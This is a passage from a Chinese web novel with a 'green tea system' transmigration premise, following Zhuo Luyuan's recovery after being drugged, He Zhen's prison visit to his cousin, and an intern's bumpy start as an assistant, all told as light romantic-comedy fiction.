而卓家人也确实和贺母说得一样,没几天就拎着一堆东西上门道谢,这还只是谢礼的一小部分,连卓鹭元手里都被塞了两件礼物。 卓鹭元第一次见到贺真这么拘谨的样子,几句“应该的”来来回回说了许多遍,卓母还在拉着贺真的手感谢。贺真向卓鹭元投来求救的眼神,卓鹭元没忍住把人拽走了:“你们谢完了,该我感谢他了。” 卓鹭元拉着贺真往楼上走,贺真看他似乎又恢复活力了,笑着问他:“看来你恢复过来了。这几天过得怎么样?” “别提了,”卓鹭元烦恼地抓了抓头发:“这几天我爸妈说什么都不让我出门,硬是把我扣在家里休养,连盛俊文叫我都不让我出去,每天又是饭又是补汤,我都胖了。” “听起来像是在炫耀。”贺真靠在门边,歪着头看他。 卓鹭元笑着骂了一句“你够了”,然后把贺真的手表抛向他:“你的东西忘拿了,我带回来给你。我听说那天你把乔昱褀给打了,打得好。” 贺真其实没怎么打他,比起打,当时贺真只能算是把他随手丢开罢了。贺真摇摇头,接过手表戴回自己手腕,随口问了一下那个项目的事:“听说伯父放弃那个项目了。” “嗯。” 卓鹭元看着贺真腕上那只手表,觉得还是戴在他手上好看:“我爸快气疯了,不止否了这个项目,还要拿着证据找乔家算账。按时间算的话,这会乔家应该也在处理乔昱褀的事情。” 说到“乔昱褀”着三个字时,卓鹭元脸上露出了明显的厌恶。贺真知道之前乔昱褀也骚扰过卓鹭元,这次下手却是踢到铁板了。 贺真看卓鹭元脸色不好,连带着心情也低落下来,想了想说:“你不是想出去玩?不如你和伯父伯母说是我找你出去,伯父伯母应该会同意吧?” 嗯?这好像是个好主意! 卓鹭元眼神一亮,再次和贺真确认:“真的?我想和盛俊文小聚一下,不太方便带你一起,打着你的旗子出去你会不会生气?” “不会。”贺真没放在心上,这有什么可生气的。 卓鹭元打定主意,一到晚上就约了盛俊文出去,还不忘提前和贺真打好招呼,要是卓父卓母问起来,就说自己和他在一起,贺真答应了。 经过前几天那回事之后,短时间内卓鹭元是不想再看到酒和葡萄汁了,于是直接把盛俊文约在了茶馆里,两个人相顾无言地喝着茶。 盛俊文看着眼前的茶水,无奈地叹口气:“元儿,你是第一个约我来茶馆,还说放松的人,我都感觉我是不是上了年纪了。” 卓鹭元漫不经心地喝着茶:“喝茶哪里不好了,养生还休闲。不是我说,你看你熬夜熬得黑眼圈都出来了,看着比我。大五岁都不止。” 盛俊文摸了摸自己的脸,最近为着卓鹭元的事,盛俊文和其他人也没少在背后帮忙,确实熬夜熬得挺晚。反观卓鹭元这没心没肺的家伙,这几天被家里人扣住强制休养,气色比他好了一点不止。 “行了,不是谁都像你一样天生丽质的。说吧,找我出来怎么了,没点大事你才不会单独约我出来。”以盛俊文对卓鹭元的了解,他多半是遇到了一些心里过不去的事,这才想到约自己去茶楼。 卓鹭元垂下眼眸,一时间没说话。 这几天他其实不像表面上那样平静,每天睡觉闭上眼时都是那天发生的事,那些原本模糊的画面也越来越清晰,包括乔昱褀恶心的触摸和贺真把手表塞给他的事,几乎每天晚上都会做梦,只有在醒来摸到那只手表时才会放松下来。 卓鹭元不想让盛俊文担心,含含糊糊地说了一句:“没什么,就是晚上总睡不好。” 盛俊文也猜到了卓鹭元为什么睡不好,在心里默默叹了口气:“你想要正经的建议还是不正经的建议?” 卓鹭元怀疑地看着他:“什么是不正经的建议?” 盛俊文端着茶杯一饮而尽,晃着茶杯把茶喝出了酒店感觉:“喝点太太口服液,借助点外力逼自己睡着。” “去你的,你才喝口服液。”卓鹭元白他一眼,把茶壶放到自己这边,也不给盛俊文添茶:“说正经的。” 盛俊文也恢复成了往日的样子,手里的茶杯却没放下:“正经的建议就是,把乔家彻底解决,让他再也没有能骚扰你的能力。但就现在的情形来看,不太容易。” 盛俊文话说得保守,但实际上解决乔家要比想象中的难很多。在卓鹭元这件事上是乔昱褀不占理没错,但这件事本质上只是乔昱褀和卓鹭元两个人的事,和公司无关,乔家的项目依旧在谈其他合作方,并没有因为这件事停下脚步,顶多只能算是耽搁。 再者,乔昱褀是乔家独子,如果乔父没有其他不靠谱的私生子,不出意外以后会是乔昱褀接手乔家,所以乔昱褀的父母双方一定会想尽办法,不惜一切保住他。 卓鹭元自己也能感觉得出来,即便卓父这几天放话不再考虑和乔家合作之后还是有些憋屈,只不过怕影响到自己没说罢了,解决一个在淮市扎根的家族哪有那么容易。 “算了,不说这个了,提起来心烦。”卓鹭元喝了杯茶,心情郁郁。 盛俊文看不惯他这样,打断他的郁闷:“干吗这么郁闷,事情不是也没你想得那么差吗,起码贺真是站在你这边的。那天虽然我不在,但听阿衡他们说,你被带走时贺真可是着急得不行,他对你还挺好,要换成乔昱褀那种人…算了,我不说了。” 盛俊文在卓鹭元的死亡视线下闭嘴,但眼睛还在观察卓鹭元的反应,总觉得对方觉得烦心的事不止这一件。 “你真没有其他什么的要和我聊?没有我可回家了啊,这茶喝得没劲。”盛俊文故意作势要走,卓鹭元有些着急,急忙说:“我还没说完呢,你跑什么,你又没女朋友要陪。” 卓鹭元赶在盛俊文找他算账之前把话说完:“我最近不是总睡不好吗,后来我发现我拿着贺真的手表时就睡得还不错。” 贺真的手表?盛俊文没听说过这件事,前倾着身子兴趣十足地看着卓鹭元:“展开说说?” 卓鹭元在盛俊文复杂的目光中把那天的事完完整整地说了一遍,包括贺真为了他揍乔昱褀和给他手表的事。盛俊文听完之后啧啧两声:“元儿,要我说你就从了吧,你看他对你多好。不对,他小时候就对你挺好。” 贺真这人平时相处起来有点冷,但唯独面对卓鹭元时茶里茶气的,偏偏卓鹭元自己还感受不到,总觉得贺真没有什么其他用意,比如现在。 “他对我应该不是那种心思,只是对朋友好罢了。”说实话卓鹭元之前也有一点怀疑,但是前几天他都那样了,贺真居然一点反应也没有,他还暗戳戳地猜测了一下是不是自己魅力下降了。 卓鹭元藏起自己脸上那点不自然的表情,向盛俊文求助:“上次去他家道谢的时候我把表还给他了,结果发现最近又睡不好了。但你说我总不能找他拿回来吧,那算怎么回事。” 原来他在发愁这个,盛俊文直接一句:“那你买一块一模一样的不就行了吗,你又不差这点钱。” “那不一样。”卓鹭元下意识反驳,但自己也说不清楚到底哪里不一样,明明只是一块表而已。 盛俊文现在觉得自己发小有些危险,连声音中也带着一点不确定:“元儿,你该不会是弯了吧?”盛俊文说完,还伸出一根手指头冲着卓鹭元弯了弯。 “一边去,你弯了我也弯不了。”卓鹭元没好气地说了一句,不想理盛俊文。 盛俊文撑着头看着卓鹭元:“说真的,你要不去看看心理医生吧,我感觉这不是小事。如果你不想去,那就去找贺真把表借几天,我觉得按他的性格应该是不会在意的。” “也是。” 卓鹭元举起茶壶,又觉得喝太多会涨肚子,想了想放下茶壶准备开溜:“那我去借手表了,你自己玩吧,下次再喊你出来和贺真他们玩,再见。” 盛俊文:? 盛俊文看着卓鹭元的背影,他是说可以去找贺真借手表不错,但他没说现在让卓鹭元去啊,他被抛弃了? “元儿!你个没良心的!” 盛俊文对着卓鹭元的背影喊了一声,卓鹭元反而溜得更快了,气得盛俊文又多点了一壶菊花茶败败火,都记他账上! 乔家。 乔昱褀沉默地站在乔父书桌前,低着头不敢看乔父的表情。 乔父翻阅着桌上的文件,半晌后才缓缓开口:“自己说说,你错哪了?” 乔昱褀握紧了拳,面对乔父的压迫感低声说:“卓家是我们的意向合作伙伴,我不该为了卓鹭元坏了两家关系,影响您的布局。” “这只是其中一点,继续说。”乔父头也不抬,完全不将乔昱褀这点屈辱和不甘放在眼里。 乔昱褀却没继续说,乔父抬眼看他,忽然低笑一声:“怎么,觉得丢人?” 乔父从乔昱褀的沉默中得到了答案,干脆将文件扔回桌上,正视乔昱褀:“那我来告诉你。你错在事情做得不够干净,让人抓到了把柄。你看上卓鹭元,想对他出手无所谓,但你做得太过拖泥带水,甚至差点把新项目也拉下水。” 乔昱褀的神情有所松动,抬起头期待地看着乔父,想听他接下来的话。 乔父一直知道乔昱褀什么都好,但气度却始终培养不起来,于是接着点他:“等这个项目成了,我们乔家的好处不会少,无论是卓家还是卓鹭元,怎么拿捏如何拿捏都在你一念间。你啊,做事还是太急了,不够稳。” “我明白了。”乔昱褀心里思忖着乔父的话,心里有了想法,向乔父保证道:“以后我做事会更加小心。”乔昱褀说完之后心里难免有点愧疚:“这次我的事让家里让出不少好处,这些会不会影响到您的计划?” 乔父哼笑一声:“现在知道担心了,之前冲动的时候干什么去了?行了,那些东西给就给出去了,迟早能赚回来,你也别。太放在心上。我们家和那个唐家不一样,只有你一个孩子,也不搞私生子那一套,你一定要立得起来。还有,” 乔父看着乔昱褀,神情严肃地说:“离贺家那个贺继明远一点。他之前在国内蛰伏那么多年,为了取得贺业明的信任,他不惜把自己的儿子送进监狱,还能对着贺业明摆出和乐的样子,这样的人你要小心。能忍旁人所不能忍,必图旁人不所图,你斗不过他。” “是。”乔昱褀低头,这次事件中贺继明应该也没少推波助澜,只是不知道他想要什么,会是贺家吗? 贺继明在想什么乔昱褀不知道,但乔昱褀记住了贺真,以后有机会他一定要搞死贺真。 贺真丝毫没有坏了乔昱褀好事的愧疚,反之,他去了一个所有人都意想不到的地方。 “你过来干什么,是来看我笑话的吗?” 贺真跷着腿坐在贺彦面前,手里拿着电话:“当然是来看你。你父亲最近不太老实,我想听听你的想法。” 贺彦没有了往日的嚣张派头,一双眼死死盯着贺真,听见他的话甚至笑了出来:“贺真,你以为我们是什么关系,居然想从我的嘴里听到你想要的答案,你觉得可能吗?” “为什么不可能?”贺真理所应当的语气让贺彦愣住了,一瞬间忘了反问。 贺真无视贺彦的表情,语气平常得像在说今天吃什么:“你愿意把这一切都扛在自己头上,贺继明应该跟你说了什么吧。我猜他是这样说的,坐几年牢又怎么样,你是我唯一的儿子,等你出来了,公司还是你的,没什么大不了的,对吧?” 贺彦不说话,只是紧紧握着话筒。 贺真本来也没指望他回答,自顾自地说:“他说的也不是全无道理。不过作为他的亲儿子,难道你对他这么果断就把你卖了的这件事,没有一点怀疑吗?就算是普通人家的父母,也不会让自己儿子背上罪犯的称呼吧。” 贺真的话说到了贺彦心里,即便他内心再不想承认,但他确实对这件事心存芥蒂。贺彦压低声音:“你想说什么。” “我不想说什么,只是来找你确认一些事情罢了,有件事我心里有些猜测,不过看到你现在这个态度,我倒是可以去放手调查了。再见,祝你的监狱生活过得还算愉快。” 贺真说完便将电话放回原位,不去看身后贺彦敲着玻璃让他说清楚的疯狂神情。 之前贺真有两家怀疑的公司,一家是星芒,已经被他收回来了。另一家就是那个和公司主业毫不相关的医疗项目,这是贺真一直非常怀疑的一个项目,一直抓不到头绪。 上次在乔家的晚宴上,宁之衡的一番话给他打开了新的思路。家族看重血缘,连乔父都不惜大出血保住乔昱褀,贺继明怎么可能因为贺真逼迫一番就把人送进去,甚至都没有像贺父猜测的一样去求老太爷,这不合常理。 贺真本能地觉得其中应该有问题,所以今天故意来探贺彦的口风,想知道贺继明在贺彦面前的说法是否和自己猜测的一样。 幸好,虽然贺彦没有回答,但他的神情已经出卖了他。 如果贺真的猜测是真的,那贺继明可是从很久以前就布了好大一盘棋。 第26章 第 26 章 贺真听到卓鹭元要借…… 贺真听到卓鹭元要借自己手表时还有些讶异, 但还是解下表带递给了他,随口问了一句:“怎么, 还是睡不好吗?” “你怎么知道?”卓鹭元脱口而出,贺真是怎么知道他睡不好的? 那天贺真把卓鹭元带到医院的时候,卓鹭元的手中正紧紧攥着自己的手表,贺真把表拿走后卓鹭元的眉头就皱在一起了,他只好又把手表给他放了回去。 “上次在医院见你睡不好,猜到的。”贺真今天在公司处理事务, 刚好卓鹭元过来找他,他也就顺势问了一下卓家的近况:“乔思明为了乔昱褀,愿意在竞拍会中给伯父让出一块地皮, 但条件是把这件事情彻底压下来, 你怎么想?” 卓鹭元能怎么想。乔家也算家大业大, 如果他们执意要保乔昱褀,卓家还真没办法拦,只能想办法让卓鹭元出一口气,顺便让他们出点血赔偿,这已经算比较理想的结果了。 卓鹭元臭着脸不接话,手中把玩着贺真的手表, 贺真就明白卓父的无奈了。不过贺真看着卓鹭元这丧气的样子,还真有些不适应,伸出手下意识在他脑袋上揉了一把:“以后会有机会报仇的。” 毕竟卓鹭元是主角,和主角作对的能有什么好下场。 卓鹭元一愣,脑海中忽然响起盛俊文的声音,觉得自己有必要再和贺真提醒一下:“你怎么忽然摸我的头,该不会真喜欢我吧?我再说一遍,我是直的, 你可别对我有其他想法。” 卓鹭元还真是风声鹤唳,贺真不过关心他而已。不过特殊时期,贺真也没多说什么,只是又多嘴叮嘱了几句:“你这样下去也不是办法,要不要我送你去医院看看?” “没事没事,过了这段时间就好了。”卓鹭元这段时间去了不少次医院,实在是不想再去了。 两个人说话间,钱特助小声和贺真说:“贺总,郑曦小姐想见您,我将她带到会客室等候了。” 卓鹭元脑袋上浮起一个巨大的问号,郑曦不是向来和贺真不对付吗,怎么会来公司找贺真? 卓鹭元想吃瓜的心思都写在脸上,贺真也不戳破,带着他去了会客室。 贺真推门而入时,郑曦正在嫌弃贺真公司的茶水:“果然是死绿茶,给客人喝的水也是绿茶,你…鹭元哥哥!” 卓鹭元和郑曦打了招呼,郑曦关心地挤到卓鹭元身边,拉着他左看右看:“鹭元哥哥,你怎么样了,这个死绿茶没把你怎么样吧?” 贺真熟练地点开一个支线任务,想也不想地就说:“你怎么会这么想我,我只是把他送去医院而已。” 郑曦瞪他一眼,为了维持自己在卓鹭元面前不多的形象收了声,提起自己这次来的正事:“你上次让我救的那个女的,是你朋友?” 郑曦不说还好,一说贺真才想起来这些日子自己到底忘了什么事,原来是祁琼音的事。 贺真少见地有些心虚,当时卓鹭元和祁琼音都中了药,他怕把卓鹭元交给郑曦容易出事,情急之下就把祁琼音塞给了刚好在附近的郑曦。 意思也很简单,你们girls help girls,我去boys help boys了。 结果贺真挨了惩罚之后,那两天也没比卓鹭元好受多少,又有其他杂七杂八的事要处理,最后就把这件事忘了个干净,直到现在郑曦找上门来。 贺真尴尬地咳了一声:“咳,是我认识的人。祁琼音她怎么了吗?” 郑曦没好气地掏出手机,打开祁琼音发给她的消息递给贺真看:“你从哪认识这种穷鬼的,我都说自己只是随手帮她而已,她非缠着我要还什么医药费,我郑曦怎么可能缺这点钱,瞧不起谁呢!” 贺真接过郑曦的手机,里面都是祁琼音时不时发来的转账和备注,至于金额嘛,贺真很有一种熟悉感,零零碎碎地多少都有,看来祁琼音最近也很缺钱了。 就这点钱,按照郑曦这种脾气,怪不得会觉得祁琼音在看不起她。 不得不说,某种程度上郑曦和祁琼音应该能成为好朋友。 卓鹭元也凑过头来看,一看到祁琼音的名字还“嗯”了一声:“这不是那个服务员吗?上次我去淮市大学参加讲座的时候,她还给我塞简历,我看着不错就留下了。” 只不过现在卓父肯定不会再考虑那个项目了,本来他还想把祁琼音放进团队里盯着,现在还得考虑后续把她放在哪,毕竟是他第一个亲自招的人。 没想到卓鹭元说完之后郑曦整个人都不好了,拿着手机看着贺真和卓鹭元:“你们都认识她?她不会也喜欢鹭元哥哥吧,我怎么又多一个情敌!” 贺真张口想辩解:“其实我…” 郑曦捂住耳朵打断贺真的话,一副我才不信你鬼话的样子对他说:“我才不信你这个死绿茶的话,你敢不敢对着我们两个发誓你不喜欢鹭元哥哥?” 这下连卓鹭元也默默看着贺真,偏偏系统还在偷偷拽他裤腿,示意他不能否认。 贺真只好想办法把话圆过去:“我不知道其他人的想法,但我从来没有想和你争过什么,这次也只是意外而已,我只是想帮到你。” 贺真说完就用无辜地眼神看向卓鹭元,这下不好意思的人反而变成了对方:“好了好了,我没有那个意思。我们是认识祁琼音没错,但和她确实不是很熟。她也被下药了吗?” 郑曦点点头:“嗯,我不知道她是怎么回事,当时我听到门外好像有人求救,唐菱还拦着我让我不要多管闲事,打开门就看到那个死绿茶…贺真了。” 贺真心里清楚,女主会中药多半是剧情的缘故,但是卓鹭元和郑曦不清楚,不过多半是被波及了。 卓鹭元看着祁琼音发给郑曦的感谢,对郑曦说:“这件事她是被我连累的,之后我会去找她解决。郑曦,谢谢你帮她,这件事你做得很好。” 虽然卓鹭元和祁琼音不是很熟,但也不想让旁人被自己连累,道歉还是必要的。 这是卓鹭元第一次和郑曦说感谢的话,郑曦激动地脸都红了,连忙摇摇头,连说话也变得结结巴巴:“鹭、鹭元哥哥,你刚才夸我了?该不是我做梦吧!” 卓鹭元对于自己的追求者一贯都是冷淡拒绝的态度,遇到那种死缠烂打的更是从来不给好脸,开口就是嘲讽,这还是郑曦第一次听到他的感谢。 看到郑曦激动的样子,卓鹭元忍不住小声嘀咕:“她怎么激动成这样。”难道他平时对别人真的很差吗? 郑曦被卓鹭元的夸奖开心得晕晕乎乎,所以冷不丁听到贺真问她和唐菱的事时,好心情地没和贺真呛声:“唐菱?我们是在一次聚会上认识的。当时我觉得她人可好了,不管是逛街还是出去玩总会陪着我,说话也好听,总夸我好看!” 唐菱和郑曦一样都是家族里娇养的女孩,但是听郑曦的意思,她们两个人相处时唐菱显然有意无意捧着郑曦,甚至讨好郑曦,要说唐菱不想从郑曦身上得到什么,两个人是不信的。 贺真久在国外,对郑曦的了解不如卓鹭元,所以此时卓鹭元和郑曦说话时他也只是听着:“郑曦,我觉得那个唐菱不像个好人,你最好离她远一点。” 郑曦脸上的兴奋降了温,没有第一时间回答,显然心里还在犹豫。 卓鹭元知道郑曦虽然骄纵但是非分明,加上这次的事也算做了好事,所以还是耐着性子继续说:“我和宁之衡来往得多,我可以向你保证他那天在宴会上说的话句句属实,没有一句是假的。在此之前,唐菱和你说过这些事吗?” 郑曦脸色有点难看,卓鹭元不说还好,一提起来唐菱,一些以前被她忽略掉的小事也逐渐浮上心头。 唐菱并不是只要郑曦提出要求就会陪她出去,比如一次让郑曦印象深刻的酒会,几乎所有年轻人都去了,唐菱也答应和她一起去,可偏偏在出门前扭了脚,郑曦还很替她遗憾。 现在想想,唐菱大概是怕在就酒会上遇到宁家人让自己难堪,又不能直接告诉郑曦自己不想去,只好一狠心把自己的脚腕弄伤,这样双方都不会得罪。 而像这样的事情,还发生过很多回。 卓鹭元间郑曦低着头不说话,叹了口气:“你的家世比她好,你不会猜不到她是想从你身上得到些什么。但是郑曦,朋友不是这样交的。如果这次你听了她的话不去救人,万一毁了另外一个人怎么办?” 半晌后,郑曦终于开口:“…好,我会试着远离唐菱。” 贺真听着两个人的对话,心思却在剧情上打转。 他出手搅乱了乔家宴会这个重要节点,祁琼音却还是中了药,阴差阳错被郑曦救下,眼下又产生了联系,不知道后续会不会又回到贺真知道的版本上去,那样的话对他不一定是个好事。 贺真看着脚边的茶茶,难道剧情的力量真的不可更改吗? 第27章 第 27 章 临近毕业季,祁琼音…… 临近毕业季, 祁琼音觉得似乎校园里的风都带着燥意。 虽然她对自己能顺利毕业很有信心,但还是推了一个兼职, 这段时间回校专心准备答辩的事情。 也不知道是不是她的错觉,她总觉得自己最近有些倒霉,先是丢了一份时薪很高的兼职,前几天又在晚宴上被人下药,好在最后都顺利解决了。 祁琼音没有把这件事告诉给她介绍工作的室友,怕她因为内疚多想, 所以借口说那天自己去医院陪妈妈,不回宿舍了。 为了感谢她,祁琼音还特地用兼职的钱请她在学校附近的小餐馆吃了顿饭。 祁琼音的闺蜜叫周素, 她推拒了几次祁琼音还是很倔, 所以周素也没坚持, 提议去小餐馆里点两个菜就行了。祁琼音什么都好,就是性子倔,一根筋,她要是再推辞,祁琼音说不定更倔了。 “咱们两个人,就点两个菜吧, 一荤一素刚刚好。我看看,一盘小炒肉和土豆丝怎么样?”周素知道祁琼音没多少钱,她的母亲还三不五时要住院治疗,自然不可能点太贵的菜加重她的负担,所以点好之后也不许祁琼音拒绝:“你要是再拒绝,我就不吃了,现在马上回宿舍。” 祁琼音犹豫着点头:“好吧。” 周素笑嘻嘻地把菜单还给老板,给自己和祁琼音倒了水和喝:“琼音, 你毕业之后确定要进盛辉了吗?” 盛辉就是卓父家的公司,自从上次祁琼音把简历递给卓鹭元后,连续一星期都没什么动静,她都不知道自己还能不能去。 祁琼音趴在自己胳膊上,声音闷闷地:“我也不知道,本来说好让我等通知再去面试的,最近突然没了消息,我也还在等。要是这个面试也不行,我就只能再投其他公司了。” 周素拉着她的手安慰她:“放心啦,你成绩那么好,还拿过奖学金,怎么说也不会找不到工作的。不过盛辉的待遇真的很好,而且一般好像都不怎么招我们这个专业的。上次你说自己去找他们老板塞简历,我还以为你们认识呢。” 祁琼音不好意思地把头埋进去:“我也就是试试。” 周素放低声音,小声和祁琼音八卦:“听说卓鹭元学长也是从我们淮大毕业的,而且人长得特别帅。怎么样,给姐妹说说真人是不是真的那么帅?” “是挺帅的,长得特别精致。”祁琼音不会夸人,周素问起来也只会干巴巴地说一句帅,周素有些恨铁不成钢地看着她:“你是不知道你快被人嫉妒死了,我都在校园墙上看到挂你的了,我猜你打工没时间,还替你澄清了。” 卓鹭元毕业之后几年都没回来过一次,难得来一次就被祁琼音碰上了,可不得被人挂在校园墙上,周素刷到就去澄清了。 “我都没看到,谢谢你帮我澄清,前几天我只顾着打工了,都没有时间看手机。”祁琼音拿出手机看的时候,校园墙已经没有那一条了,估计也就是说些酸话而已。 不过说到卓鹭元,祁琼音后知后觉地有点脸红,他是真的长得挺好看的。 后厨的锅铲声叮当响了一阵,老板娘风风火火地把菜端上来,祁琼音把小炒肉推到周素那边,自己迫不及待地拆开筷子:“这家的炒菜可好吃了!” 祁琼音话音未落,手机忽然开始震动,祁琼音连忙接起电话,神色从一开始的紧张渐渐变成抑制不住的兴奋:“嗯嗯,我一定准时到!” 祁琼音放下手机,开心地回握住周素的手:“我的面试通知来啦,就在后天!” 周素也跟着激动起来:“那你可要好好准备。对了,我哥给我新买了一套西装,咱俩身形差不多,到时候你穿那套去,一定可以的!” 祁琼音刚想摇头拒绝,周素却直接做了决定:“听我的,面试重要,其他的之后再说。” 祁琼音用力点头:“我一定会成功的!” 卓鹭元坐在自己的办公室里,没想好要把祁琼音放到哪里去比较合适。 一方面他家是做地产的,祁琼音的专业和他们公司的主业不太符合。虽然盛辉还有其他领域的子公司,但卓鹭元怎么说也连累祁琼音差点出事,就这样把人放到子公司似乎也不太好。 卓鹭元思来想去,甚至还在小群里问了盛俊文他们。奈何盛俊文那几个人没比自己好多少,最后还是卢俊城和贺真给了一点有用的建议。 卢俊城建议把她放去子公司历练一下,过两年调回来。贺真则是说让祁琼音给他当一段时间的助理,先观察一下能力怎么样。 卢俊城的建议也不是说不好,但卓鹭元虽然没有像其他打工人一样打过工,也知道。总公司和分公司直接的差距,所以他的建议最后还是被卓鹭元默默否定。 至于贺真的提议,他倒是觉得值得考虑一下。 上次他去贺真的公司,贺真旁边的钱特助就是个十分懂得察言观色的人,要是他也有这样一个助理的话,很多事就好办许多了。 但是卓鹭元突然想起前几次和祁琼音见面的场景,总感觉祁琼音柱三个冒冒失失的性子好像不太靠谱。 算了,要不先这样吧,万一祁琼音真的不合适,再让她去业务部门搞业务嘛,先把人招进来再说。 卓鹭元考虑着先让祁琼音当助理的功夫,贺真正在和系统讨论自己的积分。 “主线任务视剧情重要程度而定,1000分起步,支线剧情奖励积分不等,10积分的都有,这个差距合理吗?” 贺真这些任务挑着又做了些支线任务,但是积分上涨的速度依然很缓慢。 刚才他好不容易刷到和主线相关一点的支线,就是关于助推男女主增加感情的一个小支线,积分却有五百,他就给卓鹭元提了个让祁琼音当助理的建议。 系统也没办法,这都是主系统规定的:“也许是因为咱们这里是绿茶系统,宿主手里拿的是绿茶女配剧本吧。茶茶之前和其他系统聊天,好像末世系统那边给的奖励很高,有的宿主甚至有几百万积分的。” 末世? 这倒是贺真第一次听系统聊起其他世界的事情。不过末世系统一听就知道和自己这边的危险程度不能相比,奖励多也正常。 贺真叹了口气,最近的主线任务不知道是不是出了bug,不仅不刷新还时不时出些乱码,该不会真是因为他上次插手吧? 算了,肯定是主系统优化不好,跟他有什么关系。 在主线任务不更新的时候,贺真也没有闲着,随手又在之前没做完的支线任务里看看有没有能做的,结果还翻到一个让他比较意外的任务,他指着这个任务问系统:“这个叫绿茶女配的自我修养的任务是怎么回事?” 因为之前没见过这种任务,贺真还特地打开了任务详情,上面写着:优秀的自我管理是绿茶女配的必修课,请宿主保持良好的外形,任务内容则是一些健身目标什么的。 系统这些日子也算对这个世界有所了解,猫爪拍拍胸口对贺真解释:“茶茶最近找主系统要了一些资料,同时了解了一下宿主和这个世界的文化背景,发现优秀的绿茶女配不仅要高情商会说话,最重要的是长得好看,让别人看到她说话就有要相信的欲望,所以主系统才会发布外形管理的相关支线,督促宿主做任务。” 贺真有些无奈,现在当绿茶女配还要要求长相,会不会有些太苛刻了?贺真有些好奇地问茶茶:“那如果有宿主完成不了这个前置条件呢?” 茶茶想了想回答:“这种情况在宿主的文化里也有记载,按你们的文化习惯来说,一般不叫绿茶女配,叫那个女的。” 贺真:“…但我是个男的,也得做这个任务吗?” 贺真低头看了看自己的身材,他本来就比周围人都高出一大截,在被系统绑错之前也一直有健身锻炼的习惯。和卓鹭元那种一整块腹肌的不同,贺真的腹肌实打实地有八块。 尤其是贺真穿上西装的时候,能将西装撑得刚刚好,要是再练下去就不像霸总,而更像保镖了。 茶茶也有些迟疑,宿主现在和卓鹭元站在一起做主线任务的时候本来就有点怪怪的,它总有种卓鹭元在贺真身边看起来小鸟依人的错觉,不知道这样练下去是不是好事。 但任务还是要做的,只有积分多了能做的事才多,所以贺真没有为难系统,默默点了接取任务,同时想看看还有什么任务能一起做的。 茶茶为了帮贺真的忙,也跑到他身边一起看任务面板,在贺真划走之前眼疾手快地点开一个任务向他邀功:“宿主快看这个任务怎么样?” 贺真正要点进去看,不小心和茶茶的猫爪前后脚按在了接取任务的位置,快得贺真都还没看清是什么任务就接了。 【支线任务:作为一名优秀的绿茶女配,请宿主选择合适的时机向主角展示自身的魅力。】 贺真扭头,面无表情地看着系统。 系统挠挠头,心虚地解释:“反正都是向主角展示自己的魅力嘛,宿主这么好的身材,怎么不算魅力呢……” 第28章 第 28 章 让祁琼音当助理的事…… 让祁琼音当助理的事没有卓鹭元想象中的那么顺利。 卓鹭元不知道是不是自己选人的眼光有问题, 还是祁琼音天生就是这种冒失又天真的性格。卓鹭元招来祁琼音当助理的短短一星期之内,他已经先后经历了给客人上错茶水、报错文件以及陪卓鹭元外出时被人揩油等等, 不仅祁琼音觉得倒霉,连卓鹭元都开始心累。 这天卓鹭元给祁琼音放了一天假,让她好好考虑自己提出去分公司业务部门的建议,自己去了卓父的办公室里聊乔家赔偿的那块地皮的事。 乔家赔偿给卓家的地皮面积不大,但地段很好,距淮市商圈不远, 后续开发无论是建成写字楼或者建成小型的商业广场都是个不错的选择。肯把这块地割舍给卓家,看得出乔家对乔昱褀的重视。 卓父把一沓资料递给卓鹭元,想看看卓鹭元这些日子有没有长进:“鹭元, 对于乔家给我们的这块地, 你是怎么看的, 和我说说?” 这块地距离商圈中心有段距离,附近有不少写字楼,所以卓鹭元猜测乔家对于这块地的规划应该是倾向于建成商业广场,用来分流一部分客人到新的商业广场那边去。 卓鹭元把自己的猜测说了出来:“这地方离商圈说近不近,说远也不远。附近公司多,员工也多, 这些人都是商业广场的目标人群。商圈附近的商业广场虽然好,但高峰期肯定拥挤,不如建个相隔不远的小型商业广场分流,而且建商业广场和写字楼又不冲突,怎么建基本都不会亏。” 卓父赞许地点点头,又补充几句:“这边虽然是一个已经比较成熟的商圈,但开发的空间还是有的,等之后可以在拍卖会上观察一下, 有没有适合和这里联合开发的,就算没有也不耽误。” 卓鹭元点头表示自己知道了,卓父却话锋一转:“儿子啊,听说你最近给自己找了个女助理,是不是突然开窍了?” “开什么窍啊,爸你可别乱点鸳鸯谱。而且那个助理也不太行,交代她做的事情总是会意外办砸,我正在考虑让她还是回去搞她的业务。真是的,贺真身边的钱特助就很靠谱,可惜不是我的助理。” 卓父听笑了,用指头戳了一下自己儿子的脑袋:“你脑子里一天在想什么呢。钱特助是多少年前就跟着贺大哥的老人,摸爬滚打这么多年早就混成圈子里的人精了,你随便招个刚毕业的大学生就想和他比?” 卓鹭元不服气地抿唇,心想那怎么了,厉害的人不都是慢慢锻炼起来的嘛,虽然这个目标对祁琼音似乎确实有点困难。 卓父还有些不死心,卓鹭元眼看着都要奔三了,身边还是一个人都没有,难得他自己主动招了个女助理,卓父怎么说都得让他把握住这个机会:“你和爸说实话,真不是看上那个姑娘了?人家的家庭不如咱们也不是什么大事,最重要的是你喜欢。” 卓鹭元赶紧找个借口跑路:“打住,我说了我不喜欢她,只是想找个助理而已。我还有事,先走了啊。” “臭小子,你给我回来!”卓父恨铁不成钢地拍了一下桌子,卓鹭元却头也不回地就跑出去了,临走还不忘把卓父桌子上那沓资料也带走慢慢研究。 卓鹭元也不是像卓父说的那样不想谈恋爱,只是一直也没遇到什么合适的人,久而久之自己也就渐渐没什么想法了。 只是不知道为什么,卓父问他的时候,他的脑海中莫名划过贺真的脸,随后又马上摇摇头把这个可怕的念头甩开,他可是直的! 卓鹭元在自己的办公室里抻了个懒腰,琢磨着去找卢俊城取取经,毕竟他算是朋友里接触公司业务比较早,而且和自己同一个领域的了。但是直接带着资料去也不合适,卓鹭元准备把自己看不懂的地方列出来,抽个时间去请教一下。 不过在此之前,他确实得给自己找一个好用一点的助理了,要不然以后的麻烦事说不定更多。 卓鹭元打了个电话给行政,让行政给他挑个人,自己拿出手机刷群消息,看看有什么新鲜事。只是刷着刷着,卓鹭元忽然发现李尚乐和杨一群这两个家伙已经三天没在这个群里说话了,顿时觉得有些奇怪,没忍住问了一句:你俩最近忙什么呢? 卓鹭元本来准备长按头像把人拽出来,只是长按完发现有点不对劲,这两个人不知道什么时候悄悄改了名字,一个叫京圈佛子,另一个叫暴打京圈佛子。 卓鹭元:? 卓鹭元这条消息发出去好一会,李尚乐才慢慢回了个“没事”,怎么看怎么可疑,杨一群更是没说话。 